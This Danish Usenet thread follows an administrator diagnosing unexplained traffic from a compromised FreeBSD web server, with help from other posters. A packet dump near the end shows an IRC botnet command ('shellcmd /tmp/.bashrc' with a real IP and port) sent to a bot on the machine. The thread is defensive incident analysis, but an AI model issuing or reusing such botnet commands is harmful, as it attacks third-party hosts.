---

Hej NG,

Jeg har en maskine kørende som har nogle meget underlige ting...

Den køre FreeBSD 4.8

Den giver lige pt en masse trafik ud fra maskinen ved først at den
modtager en pakke på port 771 og så bag efter sender en masse pakker ud
på ramdomized porte...

Er der nogen som har nogle ideér til, hvad det kan være?


--
Med venlig hilsen
René Madsen
Schultz Consult

---

"Schultz Consult [René Madsen]" wrote:
>
> Den giver lige pt en masse trafik ud fra maskinen ved først at den
> modtager en pakke på port 771 og så bag efter sender en masse pakker ud
> på ramdomized porte...

Snakker du om UDP porte? Og er det både source og
destination port, der er randomiseret? Hvad med IP
adresserne? Det ville nok være lidt nemmere, hvis
du kunne give et par eksempler.

--
Kasper Dupont -- der bruger for meget tid på usenet.
Note to self: Don't try to allocate 256000 pages
with GFP_KERNEL on x86.

---

Kasper Dupont wrote:
> "Schultz Consult [René Madsen]" wrote:
>
>>Den giver lige pt en masse trafik ud fra maskinen ved først at den
>>modtager en pakke på port 771 og så bag efter sender en masse pakker ud
>>på ramdomized porte...
>
>
> Snakker du om UDP porte? Og er det både source og
> destination port, der er randomiseret? Hvad med IP
> adresserne? Det ville nok være lidt nemmere, hvis
> du kunne give et par eksempler.
>
De kommer her så:

tid     kunde port    klient port overført retning type
15/07 18:20    0    771     2,6 MB    ind    Total trafik
15/07 18:20    3661    4667     4,3 KB    ud    Total trafik
15/07 18:20    3661    32835     4,1 KB    ud    Total trafik
15/07 18:20    3661    8550     4,1 KB    ud    Total trafik
15/07 18:20    3661    16134     3,3 KB    ud    Total trafik
15/07 18:20    3661    39327     4,3 KB    ud    Total trafik
15/07 18:20    3661    62110     4,5 KB    ud    Total trafik
15/07 18:20    3661    2888     3,9 KB    ud    Total trafik
15/07 18:20    3661    46761     4,4 KB    ud    Total trafik
15/07 18:20    3661    3942     4,7 KB    ud    Total trafik
15/07 18:20    3661    49457     4,3 KB    ud    Total trafik
15/07 18:20    3661    60902     4,2 KB    ud    Total trafik
15/07 18:20    3661    10448     4,1 KB    ud    Total trafik

udp eller tcp, jahe, det er lige pt. et godt spørgsmål, for det fremgår
ikke rigtigt af vores logfiler, men vil lige forsøge at grave lidt mere...

Kunde port er porte på vores maskine, ved nærmere eftersyn er det jo
port 0 den kontakter på vores maskine, hvilket ikke gør det mindre
underligt...

--
Med venlig hilsen
René Madsen
Schultz Consult

---

"Schultz Consult [René Madsen]" wrote:
>
> tid kunde port klient port overført retning type
> 15/07 18:20 0 771 2,6 MB ind Total trafik
> 15/07 18:20 3661 4667 4,3 KB ud Total trafik
> 15/07 18:20 3661 32835 4,1 KB ud Total trafik

Jeg aner ikke hvordan den log skal forstås.
Men tydligvis mangler der en del nødvendige
oplysninger.

--
Kasper Dupont -- der bruger for meget tid på usenet.
Note to self: Don't try to allocate 256000 pages
with GFP_KERNEL on x86.

---

Kasper Dupont wrote:
> "Schultz Consult [René Madsen]" wrote:
>
>>tid kunde port klient port overført retning type
>>15/07 18:20 0 771 2,6 MB ind Total trafik
>>15/07 18:20 3661 4667 4,3 KB ud Total trafik
>>15/07 18:20 3661 32835 4,1 KB ud Total trafik
>
>
> Jeg aner ikke hvordan den log skal forstås.
> Men tydligvis mangler der en del nødvendige
> oplysninger.
>
Okay, forklaring følger her:

tid 15/07 18:20 = 15 juli kl 18.20
kunde port 0 = udp/tcp porten på freebsd maskinen
klient port 771 = udp/tcp port på den fremmede maskine
overført 2.6 MB = den samlede overførte datamængde på det tidspunkt
retning ind = fortæller om det er trafik til eller fra freebsd maskinen
type Totel trafik = fortæller om det er udenlandsk eller dansk trafik og
total trafik udenlandsk trafik

--
Med venlig hilsen
René Madsen
Schultz Consult

---

"Schultz Consult - [René Madsen]" wrote:
>
> Kasper Dupont wrote:
> > "Schultz Consult [René Madsen]" wrote:
> >
> >>tid kunde port klient port overført retning type
> >>15/07 18:20 0 771 2,6 MB ind Total trafik
> >>15/07 18:20 3661 4667 4,3 KB ud Total trafik
> >>15/07 18:20 3661 32835 4,1 KB ud Total trafik
> >
> >
> > Jeg aner ikke hvordan den log skal forstås.
> > Men tydligvis mangler der en del nødvendige
> > oplysninger.
> >
> Okay, forklaring følger her:
>
> tid 15/07 18:20 = 15 juli kl 18.20
> kunde port 0 = udp/tcp porten på freebsd maskinen
> klient port 771 = udp/tcp port på den fremmede maskine
> overført 2.6 MB = den samlede overførte datamængde på det tidspunkt
> retning ind = fortæller om det er trafik til eller fra freebsd maskinen
> type Totel trafik = fortæller om det er udenlandsk eller dansk trafik og
> total trafik udenlandsk trafik

Det blev jeg ikke meget klogere af. Og du bliver altså nødt
til at finde de oplysninger jeg efterspurgte tidligere hvis
jeg skal kunne give noget bud på årsagen.

--
Kasper Dupont -- der bruger for meget tid på usenet.
Note to self: Don't try to allocate 256000 pages
with GFP_KERNEL on x86.

---

Schultz Consult [René Madsen] wrote:
> Hej NG,
>
> Jeg har en maskine kørende som har nogle meget underlige ting...
>
> Den køre FreeBSD 4.8
>
> Den giver lige pt en masse trafik ud fra maskinen ved først at den
> modtager en pakke på port 771 og så bag efter sender en masse pakker ud
> på ramdomized porte...

Kan du ikke se hvilket program på maskinen som står for data-trafikken ?

---

Jørn Hundebøll wrote:
> Schultz Consult [René Madsen] wrote:
>
>> Hej NG,
>>
>> Jeg har en maskine kørende som har nogle meget underlige ting...
>>
>> Den køre FreeBSD 4.8
>>
>> Den giver lige pt en masse trafik ud fra maskinen ved først at den
>> modtager en pakke på port 771 og så bag efter sender en masse pakker
>> ud på ramdomized porte...
>
>
> Kan du ikke se hvilket program på maskinen som står for data-trafikken ?

Nej, det er netop her mit problem ligger... der er ikke noget i
netstat -na som kommunikere på den port...

tænkte at en ps -aux måske kunne give lidt at tykke på


USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 92198 36.8 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
www 92197 37.0 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
root 1 0.0 0.0 552 200 ?? ILs 2:40PM 0:00.04 /sbin/init --
root 2 0.0 0.0 0 0 ?? DL 2:40PM 0:00.18 (pagedaemon)
root 3 0.0 0.0 0 0 ?? DL 2:40PM 0:00.00 (vmdaemon)
root 4 0.0 0.0 0 0 ?? DL 2:40PM 0:00.21 (bufdaemon)
root 5 0.0 0.0 0 0 ?? DL 2:40PM 0:00.16 (vnlru)
root 6 0.0 0.0 0 0 ?? DL 2:40PM 0:16.08 (syncer)
root 23 0.0 0.0 212 68 ?? Is 2:40PM 0:00.00 adjkerntz -i
root 92 0.0 0.0 952 616 ?? Ss 12:40PM 0:00.10
/usr/sbin/syslogd -s
root 99 0.0 0.0 1056 592 ?? Is 12:40PM 0:00.00
/usr/sbin/inetd -wW
root 101 0.0 0.1 1024 696 ?? Ss 12:40PM 0:00.07 /usr/sbin/cron
root 103 0.0 0.1 3008 1688 ?? Ss 12:40PM 0:00.76 /usr/sbin/sshd
root 139 0.0 0.6 12880 8008 ?? Ss 12:40PM 0:01.33
/usr/local/sbin/httpd -k start -DSSL
root 142 0.0 0.0 1008 496 ?? I 12:40PM 0:00.01
/usr/local/sbin/cronolog
/usr/local/webhotel/apachelog/errors/%Y-%m-%d-%H-errors.log
root 143 0.0 0.0 1008 496 ?? I 12:40PM 0:00.25
/usr/local/sbin/cronolog
/usr/local/webhotel/apachelog/access/%Y-%m-%d-%H-access.log
root 150 0.0 0.1 2712 1220 ?? Is 12:40PM 0:00.01 pure-ftpd
(SERVER) (pure-ftpd)
root 154 0.0 0.0 648 260 con- I 12:40PM 0:00.01 /bin/sh
/usr/local/bin/mysqld_safe --user=mysql --datadir=/var/db/mysql
--pid-file=/var/db/mysq
root 161 0.0 0.0 920 436 con- S 12:40PM 0:00.70 svscan
root 189 0.0 0.0 952 584 v0 Is+ 12:40PM 0:00.00
/usr/libexec/getty Pc ttyv0
root 190 0.0 0.0 952 584 v1 Is+ 12:40PM 0:00.00
/usr/libexec/getty Pc ttyv1
root 191 0.0 0.0 952 584 v2 Is+ 12:40PM 0:00.00
/usr/libexec/getty Pc ttyv2
root 192 0.0 0.0 952 584 v3 Is+ 12:40PM 0:00.00
/usr/libexec/getty Pc ttyv3
root 193 0.0 0.0 952 584 v4 Is+ 12:40PM 0:00.00
/usr/libexec/getty Pc ttyv4
root 194 0.0 0.0 952 584 v5 Is+ 12:40PM 0:00.00
/usr/libexec/getty Pc ttyv5
root 195 0.0 0.0 952 584 v6 Is+ 12:40PM 0:00.00
/usr/libexec/getty Pc ttyv6
root 196 0.0 0.0 952 584 v7 Is+ 12:40PM 0:00.00
/usr/libexec/getty Pc ttyv7
mysql 198 0.0 1.9 51452 25108 ?? S 12:40PM 0:52.27
/usr/local/libexec/mysqld --basedir=/usr/local --datadir=/var/db/mysql
--user=mysql --pid-file=
root 4365 0.0 0.2 3852 2096 p1- S 12:43PM 1:03.32 tcpdump -vvv
root 4366 0.0 0.1 1084 652 p1- S 12:43PM 0:03.32 grep 771
root 91114 0.0 1.5 23572 19360 p0- S 1:28PM 3:30.16
/usr/local/bin/tethereal -S -V
www 92162 0.0 1.6 25076 20600 ?? I 6:10PM 0:01.08
/usr/local/sbin/httpd -k start -DSSL
www 92175 0.0 1.7 26120 21656 ?? I 6:20PM 0:03.78
/usr/local/sbin/httpd -k start -DSSL
www 92181 0.0 0.0 1488 460 ?? Is 6:23PM 0:00.00 httpd
www 92193 0.0 0.1 2112 1004 ?? Is 6:23PM 0:00.03 httpd
www 92215 0.0 0.8 14500 9980 ?? I 6:38PM 0:00.15
/usr/local/sbin/httpd -k start -DSSL
www 92219 0.0 0.8 14496 9988 ?? I 6:38PM 0:00.16
/usr/local/sbin/httpd -k start -DSSL
www 92221 0.0 0.6 12976 8304 ?? I 6:38PM 0:00.03
/usr/local/sbin/httpd -k start -DSSL
www 92222 0.0 0.6 12968 8300 ?? I 6:38PM 0:00.01
/usr/local/sbin/httpd -k start -DSSL
www 92224 0.0 1.0 17656 13144 ?? I 6:38PM 0:00.22
/usr/local/sbin/httpd -k start -DSSL
www 92235 0.0 0.6 12960 8284 ?? I 6:38PM 0:00.03
/usr/local/sbin/httpd -k start -DSSL
www 92237 0.0 0.6 13024 8356 ?? I 6:38PM 0:00.02
/usr/local/sbin/httpd -k start -DSSL
www 92254 0.0 1.0 17456 13072 ?? I 6:40PM 0:00.42
/usr/local/sbin/httpd -k start -DSSL
root 92261 0.0 0.1 5708 1940 ?? S 6:43PM 0:00.03 sshd: rene
[priv] (sshd)
rene 92264 0.0 0.2 5708 1964 ?? S 6:43PM 0:00.01 sshd:
rene@ttyp0 (sshd)
rene 92265 0.0 0.1 1328 848 p0 Ss 6:43PM 0:00.01 -csh (csh)
root 92267 0.0 0.1 1340 856 p0 S 6:43PM 0:00.02 _su (csh)
root 92269 0.0 0.0 440 216 p0 R+ 6:44PM 0:00.00 ps -aux
root 0 0.0 0.0 0 0 ?? DLs 2:40PM 0:00.00 (swapper)

noget farligt imellem? som jeg har overset, syntes ikke selv der er
noget farligt...

--
Med venlig hilsen
René Madsen
Schultz Consult

---

>>
>>
>> Kan du ikke se hvilket program på maskinen som står for data-trafikken ?
>
>
> Nej, det er netop her mit problem ligger... der er ikke noget i
> netstat -na som kommunikere på den port...

Det lyder lidt som om at din maskine er hacket - og der er lagt en
udgave af netstat på maskinen som fjerner programmet der laver
trafikken. Alternativt er det din webserver - fra din ps virkede det som
om den havde travlt. Hvis du lukker webserveren ned - forsvinder
trafikken så ? Du kan også prøve at lukke ssh og ftp ned og se om det
ændre noget ved trafikken.

DU må endelig love at holde gruppen her informeret.

Jørn

---

Jørn Hundebøll wrote:
> Det lyder lidt som om at din maskine er hacket - og der er lagt en
> udgave af netstat på maskinen som fjerner programmet der laver
> trafikken. Alternativt er det din webserver - fra din ps virkede det som
> om den havde travlt. Hvis du lukker webserveren ned - forsvinder
> trafikken så ? Du kan også prøve at lukke ssh og ftp ned og se om det
> ændre noget ved trafikken.
>
> DU må endelig love at holde gruppen her informeret.

Skal jeg gøre

Du tænker på:
www 92198 36.8 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
www 92197 37.0 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)

?

Det sjove er at man kan ikke dræbe processerne.
kill -9 92198 92197
giver bare "no surch proces"

Hvis jeg lukker webserveren ned sker der ikke nogen ændring i trafikken
umildbart.

Maskinen bliver lukket ned i aften så den ikke laver mere trafik, det
koster jo penge det skidt men vil undersøge den nærmere under
lukkede forhold.

--
Med venlig hilsen
René Madsen
Schultz Consult

---

Schultz Consult [René Madsen] skrev:

> www 92198 36.8 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
> www 92197 37.0 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
>
> ?
>
> Det sjove er at man kan ikke dræbe processerne.
> kill -9 92198 92197
> giver bare "no surch proces"

'Z' i 8. kolonne står for "Zombie", dvs. processerner er allerede døde,
og kan derfor ikke længere dræbes.

Mvh,

--
Klaus Alexander Seistrup
Magnetic Ink, Copenhagen, Denmark
http://magnetic-ink.dk/

---

Klaus Alexander Seistrup wrote:
> Schultz Consult [René Madsen] skrev:
>
>
>>www 92198 36.8 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
>>www 92197 37.0 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
>>
>>?
>>
>>Det sjove er at man kan ikke dræbe processerne.
>>kill -9 92198 92197
>>giver bare "no surch proces"
>
>
> 'Z' i 8. kolonne står for "Zombie", dvs. processerner er allerede døde,
> og kan derfor ikke længere dræbes.

Hvordan kan en zombie process bruge CPU ?

Jørn

---

Jørn Hundebøll skrev:

>>> www 92198 36.8 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
>>> www 92197 37.0 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
>>>
>>> ?
>>>
>>> Det sjove er at man kan ikke dræbe processerne.
>>> kill -9 92198 92197
>>> giver bare "no surch proces"
>>
>> 'Z' i 8. kolonne står for "Zombie", dvs. processerner er allerede døde,
>> og kan derfor ikke længere dræbes.
>
> Hvordan kan en zombie process bruge CPU ?

Godt spørgsmål.

--
Klaus Alexander Seistrup
Magnetic Ink, Copenhagen, Denmark
http://magnetic-ink.dk/

---

On Tue, 19 Jul 2005 18:57:37 +0000, Klaus Alexander Seistrup wrote:

>> Hvordan kan en zombie process bruge CPU ?
>
> Godt spørgsmål.
Jeg har set et tilsvarende problem med OpenBSD og fork. Jeg har aldrig
brugt FreeBSD, men jeg antager forskellen er minimal.

Problemet var som følger:
En server opretter en række socket forbindelser på indkomne opkald med
fork. På Linux, Solaris og FreeBSD 5.x var følgende tilstrækkeligt:

while(1==1)
{
s=WaitTcpServer(srv);
if(s>=0)
{
cid=fork();
if(cid < 0) ErrorLog("Fork returned error code, no child");
if(cid==0)
{
c=HandleChild(s,&conf);
if(c!=0 && conf.accept==1)
WriteSocket(s,"action=dunno\n\n",14,TOUT);

close(s);
waitpid(-1, &status, WNOHANG);
exit(0);
}
close(s);
}
}

CloseTcpServer(srv);
exit(0);
}

Men på OpenBSD 3.4 efterlod programmet alle childs som zombies. Disse var
netop karakteriseret ved, at de også brugte CPU.

For at løse det, lave jeg følgende lille trick;

signal(SIGCHLD,NoZombies);

void NoZombies(int sig)
{
while(waitpid(-1, NULL, WNOHANG) > 0);
}

Så måske har du et program, der opfører sig på lignende måde?
--
Hilsen/Regards
Michael Rasmussen
http://keyserver.veridis.com:11371/pks/lookup?op=get&search=0xE3E80917

---

Den Tue, 19 Jul 2005 21:43:42 +0200 skrev Michael Rasmussen:
>
> Problemet var som følger:
> En server opretter en række socket forbindelser på indkomne opkald med
> fork. På Linux, Solaris og FreeBSD 5.x var følgende tilstrækkeligt:
>
> while(1==1)
> {
> s=WaitTcpServer(srv);
> if(s>=0)
> {
> cid=fork();
> if(cid < 0) ErrorLog("Fork returned error code, no child");
> if(cid==0)
> {
> c=HandleChild(s,&conf);
> if(c!=0 && conf.accept==1)
> WriteSocket(s,"action=dunno\n\n",14,TOUT);
>
> close(s);
> waitpid(-1, &status, WNOHANG);
> exit(0);
> }
> close(s);
> }

Der mangler noget her. Når cid==0, er det child-processen, og den er
den eneste der laver en wait - en wait efter hvad? Den har på det
tidspunkt ikke nået selv at starte nogen childs op, og derfor vil
waitpid altid returnere 0.

Parent'en laver ikke nogen wait, og samtlige child-processer burde
derfor ende som zombies. De bør dog ikke bruge CPU, hvis ps virkelig
viser at de gør det, vil jeg foreslå at nærlæse manualen til ps, der
må være tale om at den viser noget andet end CPU-tid i det felt.

> }
>
> CloseTcpServer(srv);
> exit(0);
> }
>
> Men på OpenBSD 3.4 efterlod programmet alle childs som zombies. Disse var
> netop karakteriseret ved, at de også brugte CPU.
>
> For at løse det, lave jeg følgende lille trick;
>
> signal(SIGCHLD,NoZombies);
>
> void NoZombies(int sig)
> {
> while(waitpid(-1, NULL, WNOHANG) > 0);
> }

Dette (eller en wait et andet sted i programmet) burde også være
nødvendig under Linux.

Mvh
Kent
--
Hard work may pay off in the long run, but lazyness pays off right now.

---

On Tue, 19 Jul 2005 20:21:02 +0000, Kent Friis wrote:

> Den Tue, 19 Jul 2005 21:43:42 +0200 skrev Michael Rasmussen:
>
> Der mangler noget her. Når cid==0, er det child-processen, og den er
> den eneste der laver en wait - en wait efter hvad? Den har på det
> tidspunkt ikke nået selv at starte nogen childs op, og derfor vil
> waitpid altid returnere 0.
>
> Parent'en laver ikke nogen wait, og samtlige child-processer burde
> derfor ende som zombies. De bør dog ikke bruge CPU, hvis ps virkelig
> viser at de gør det, vil jeg foreslå at nærlæse manualen til ps, der
> må være tale om at den viser noget andet end CPU-tid i det felt.
>
Nu var det jo ikke hele programmet, jeg viste her
Du kan se hele sourcen her: http://www.gasmi.net/gld.html

--
Hilsen/Regards
Michael Rasmussen
http://keyserver.veridis.com:11371/pks/lookup?op=get&search=0xE3E80917

---

Den Tue, 19 Jul 2005 22:38:03 +0200 skrev Michael Rasmussen:
> On Tue, 19 Jul 2005 20:21:02 +0000, Kent Friis wrote:
>
>> Den Tue, 19 Jul 2005 21:43:42 +0200 skrev Michael Rasmussen:
>>
>> Der mangler noget her. Når cid==0, er det child-processen, og den er
>> den eneste der laver en wait - en wait efter hvad? Den har på det
>> tidspunkt ikke nået selv at starte nogen childs op, og derfor vil
>> waitpid altid returnere 0.
>>
>> Parent'en laver ikke nogen wait, og samtlige child-processer burde
>> derfor ende som zombies. De bør dog ikke bruge CPU, hvis ps virkelig
>> viser at de gør det, vil jeg foreslå at nærlæse manualen til ps, der
>> må være tale om at den viser noget andet end CPU-tid i det felt.
>>
> Nu var det jo ikke hele programmet, jeg viste her

Nøø, men jeg gik ud fra at det var den del der var relevant for
det nævnte "problem", og ud fra det stump kode at dømme, er det
BSD'en der har ret.

> Du kan se hele sourcen her: http://www.gasmi.net/gld.html

Hvorfor viser du den stump kode, hvis det ikke er den del der er
relevant for problemet?

Mvh
Kent
--
Hard work may pay off in the long run, but lazyness pays off right now.

---

Klaus Alexander Seistrup wrote:
>
> Jørn Hundebøll skrev:
>
> >>> www 92198 36.8 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
> >>> www 92197 37.0 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
> >>>
> >>> ?
> >>>
> >>> Det sjove er at man kan ikke dræbe processerne.
> >>> kill -9 92198 92197
> >>> giver bare "no surch proces"
> >>
> >> 'Z' i 8. kolonne står for "Zombie", dvs. processerner er allerede døde,
> >> og kan derfor ikke længere dræbes.
> >
> > Hvordan kan en zombie process bruge CPU ?
>
> Godt spørgsmål.

Lige mine ord. En zombie process burde under ingen
omstændigheder kunne bruge CPU tid. Men de oplysninger
der vises omkring CPU tid må nødendigvis være et
gennemsnit over et tidsinterval.

Hvis processen er stoppet i mellemtiden kan man godt
forestille sig, at den CPU tid den har brugt vil
fremgå kortvarigt derefter selvom processen allerede
er zombie.

Jeg ved ikke præcis hvordan BSD virker på det punkt,
men måske vil mange kortlivede processer betyde, at
der af og til dukker nogle zombies op, som ser ud på
den måde.

Hvis en zombie process eksisterer i længere tid, må
der være noget galt. Og hvis den samtidigt bliver ved
med at bruge CPU tid, så er der noget rivende galt.

--
Kasper Dupont -- der bruger for meget tid på usenet.
Note to self: Don't try to allocate 256000 pages
with GFP_KERNEL on x86.

---

Kasper Dupont wrote:
> Hvis en zombie process eksisterer i længere tid, må
> der være noget galt. Og hvis den samtidigt bliver ved
> med at bruge CPU tid, så er der noget rivende galt.
>
Altså er der noget rivende galt for de eksistere lige fra "angrebet"
starter til jeg genstarter maskinen, det er ind til videre den eneste
metode jeg har fundet til at stoppe det med...

Kan det have noget med
http://www.securitynet.cz/modules.php?name=News&file=article&sid=351

Det er kun perl processerne der løber løbsk og de er startet af www, som
er apache brugeren

Kunne det have nogen sammenhæng?

Kommer med dumps fra ethereal når jeg lige får fundet de dele der er
interessante

--
Med venlig hilsen
René Madsen
Schultz Consult

---

"Schultz Consult - [René Madsen]" wrote:
>
> Kasper Dupont wrote:
> > Hvis en zombie process eksisterer i længere tid, må
> > der være noget galt. Og hvis den samtidigt bliver ved
> > med at bruge CPU tid, så er der noget rivende galt.
> >
> Altså er der noget rivende galt for de eksistere lige fra "angrebet"
> starter til jeg genstarter maskinen,

Er deres process ID det samme hele tiden?

>
> Kan det have noget med
> http://www.securitynet.cz/modules.php?name=News&file=article&sid=351

Det ved jeg ikke.

>
> Det er kun perl processerne der løber løbsk og de er startet af www, som
> er apache brugeren

Jeg ville prøve at bruge strace eller noget lignende.

>
> Kunne det have nogen sammenhæng?
>
> Kommer med dumps fra ethereal når jeg lige får fundet de dele der er
> interessante

OK, det vil i hvert fald være bedre end de logs du
sendte tidligere.

--
Kasper Dupont -- der bruger for meget tid på usenet.
Note to self: Don't try to allocate 256000 pages
with GFP_KERNEL on x86.

---

Kasper Dupont wrote:
> "Schultz Consult - [René Madsen]" wrote:
>
>>Kasper Dupont wrote:
>>
>>>Hvis en zombie process eksisterer i længere tid, må
>>>der være noget galt. Og hvis den samtidigt bliver ved
>>>med at bruge CPU tid, så er der noget rivende galt.
>>>
>>
>>Altså er der noget rivende galt for de eksistere lige fra "angrebet"
>>starter til jeg genstarter maskinen,
>
>
> Er deres process ID det samme hele tiden?
>
>
>>Kan det have noget med
>>http://www.securitynet.cz/modules.php?name=News&file=article&sid=351
>
>
> Det ved jeg ikke.
>
>
>>Det er kun perl processerne der løber løbsk og de er startet af www, som
>>er apache brugeren
>
>
> Jeg ville prøve at bruge strace eller noget lignende.
>
>
>>Kunne det have nogen sammenhæng?
>>
>>Kommer med dumps fra ethereal når jeg lige får fundet de dele der er
>>interessante
>
>
> OK, det vil i hvert fald være bedre end de logs du
> sendte tidligere.

Her kommer så lige et godt dump

Internet Protocol, Src Addr: 195.197.175.21 (195.197.175.21), Dst Addr:
xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 1101
Identification: 0xbc4b (48203)
Flags: 0x04
0... = Reserved bit: Not set
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 58
Protocol: TCP (0x06)
Header checksum: 0xff5a (correct)
Source: 195.197.175.21 (195.197.175.21)
Destination: xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)
Transmission Control Protocol, Src Port: ircd (6667), Dst Port: 1241
(1241), Seq: 143, Ack: 79, Len: 1049
Source port: ircd (6667)
Destination port: 1241 (1241)
Sequence number: 143
Next sequence number: 1192
Acknowledgement number: 79
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
0... .... = Congestion Window Reduced (CWR): Not set
.0.. .... = ECN-Echo: Not set
..0. .... = Urgent: Not set
...1 .... = Acknowledgment: Set
.... 1... = Push: Set
.... .0.. = Reset: Not set
.... ..0. = Syn: Not set
.... ...0 = Fin: Not set
Window size: 2896
Checksum: 0x9c00 (correct)
Options: (12 bytes)
NOP
NOP
Time stamp: tsval 186247759, tsecr 2065064
Internet Relay Chat
Response Line: :Helsinki.FI.EU.Undernet.org 001 FloodBot :Welcome
to the UnderNet IRC Network via EUnet Finland, FloodBot
Response Line: :Helsinki.FI.EU.Undernet.org 002 FloodBot :Your host
is Helsinki.FI.EU.Undernet.org, running version u2.10.12.beta.09
Response Line: :Helsinki.FI.EU.Undernet.org 003 FloodBot :This
server was created Fri Jul 15 2005 at 13:00:56 EEST
Response Line: :Helsinki.FI.EU.Undernet.org 004 FloodBot
Helsinki.FI.EU.Undernet.org u2.10.12.beta.09 dioswkgx biklmnopstvrD bklov
Response Line: :Helsinki.FI.EU.Undernet.org 005 FloodBot WHOX
WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE SILENCE=15 MODES=6
MAXCHANNELS=20 MAXBANS=45 NICKLEN=12 MAXNICKLEN=15 TOPICLEN=160
AWAYLEN=160 KICKLEN=160 CHANNELLEN=200 MAXCHANNEL
Response Line: :Helsinki.FI.EU.Undernet.org 005 FloodBot
CHANTYPES=#& PREFIX=(ov)@+ STATUSMSG=@+ CHANMODES=b,k,l,imnpstrD
CASEMAPPING=rfc1459 NETWORK=UnderNet :are supported by this server
Response Line: :Helsinki.FI.EU.Undernet.org 251 FloodBot :There are
34806 users and 75939 invisible on 25 servers
Response Line: :Helsinki.FI.EU.Undernet.org 252 FloodBot 65
erator(s) online


et meget langt stykke dump med en masse IRC haløj...

Internet Protocol, Src Addr: 195.197.175.21 (195.197.175.21), Dst Addr:
xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 157
Identification: 0xbceb (48363)
Flags: 0x04
0... = Reserved bit: Not set
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 58
Protocol: TCP (0x06)
Header checksum: 0x026b (correct)
Source: 195.197.175.21 (195.197.175.21)
Destination: xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)
Transmission Control Protocol, Src Port: ircd (6667), Dst Port: 1241
(1241), Seq: 87058, Ack: 233, Len: 105
Source port
: ircd (6667)
Destination port: 1241 (1241)
Sequence number: 87058
Next sequence number: 87163
Acknowledgement number: 233
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
0... .... = Congestion Window Reduced (CWR): Not set
.0.. .... = ECN-Echo: Not set
..0. .... = Urgent: Not set
...1 .... = Acknowledgment: Set
.... 1... = Push: Set
.... .0.. = Reset: Not set
.... ..0. = Syn: Not set
.... ...0 = Fin: Not set
Window size: 2896
Checksum: 0xef81 (correct)
Options: (12 bytes)
NOP
NOP
Time stamp: tsval 186372766, tsecr 2075732
Internet Relay Chat
Response Line: :aluP!root@aluP.users.undernet.org PRIVMSG
#bimartethakiya shellcmd /tmp/.bashrc 217.158.132.142 22 0

Frame 117564 (112 bytes on wire, 112 bytes captured)
Arrival Time: Jul 19, 2005 18:26:04.075282000
Time delta from previous packet: 0.000551000 seconds
Time since reference or first frame: 17861.245181000 seconds
Frame Number: 117564
Packet Length: 112 bytes
Capture Length: 112 bytes
Ethernet II, Src: 00:30:6e:05:92:7f, Dst: 00:07:b3:8c:cc:00
Destination: 00:07:b3:8c:cc:00 (xxx.xxx.xxx.yyy)
Source: 00:30:6e:05:92:7f (xxx.xxx.xxx.xxx)
Type: IP (0x0800)


xxx.xxx.xxx.xxx er freebsdmaskinens IP adresse og xxx.xxx.xxx.yyy er
dens gateway, adresserne er sløret for en sikkerhedsskyld

busted...

/tmp/.bashrc 217.158.132.142 22 0
eller en ligende kommando har ofte stået som kørende i en ps -aux...

Det næste spørgsmål er så, hvordan er den fil så kommet ind på min
maskine og hvordan er det lige at de kan have noget IRC haløj kørende
"hen over" min maskine...

--
Med venlig hilsen
René Madsen
Schultz Consult

---

Schultz Consult - [René Madsen] skrev:

> /tmp/.bashrc 217.158.132.142 22 0
> eller en ligende kommando har ofte stået som kørende i en ps -aux...

Av!

> Det næste spørgsmål er så, hvordan er den fil så kommet ind på min
> maskine og hvordan er det lige at de kan have noget IRC haløj kørende
> "hen over" min maskine...

Det ku' se ud som om din maskine er blevet 0wn3d...

--
Klaus Alexander Seistrup
Magnetic Ink, Copenhagen, Denmark
http://magnetic-ink.dk/

---

"Schultz Consult - [René Madsen]" wrote:
>
> busted...

Så er det vist tid til en frisk installation. Du bør
nok lægge harddisken til side til en nærmere
undersøgelse, og så installere på en ny disk.

Og så skal du være ret opmærksom på hvad der sker
fremover, for der er jo risiko for, at vedkommende
kigger forbi igen.

--
Kasper Dupont -- der bruger for meget tid på usenet.
Note to self: Don't try to allocate 256000 pages
with GFP_KERNEL on x86.

---

Den Wed, 20 Jul 2005 14:26:47 +0200 skrev Kasper Dupont:
> "Schultz Consult - [René Madsen]" wrote:
>>
>> busted...
>
> Så er det vist tid til en frisk installation. Du bør
> nok lægge harddisken til side til en nærmere
> undersøgelse, og så installere på en ny disk.
>
> Og så skal du være ret opmærksom på hvad der sker
> fremover, for der er jo risiko for, at vedkommende
> kigger forbi igen.

Egentlig burde man vente med at sætte den geninstallerede maskine
på nettet til man har fundet ud af hvordan de kom ind.

Ellers er det lige ved at det ikke kun er en risiko.

Mvh
Kent
--
Hard work may pay off in the long run, but lazyness pays off right now.

---

Kent Friis wrote:
>
> Egentlig burde man vente med at sætte den geninstallerede maskine
> på nettet til man har fundet ud af hvordan de kom ind.

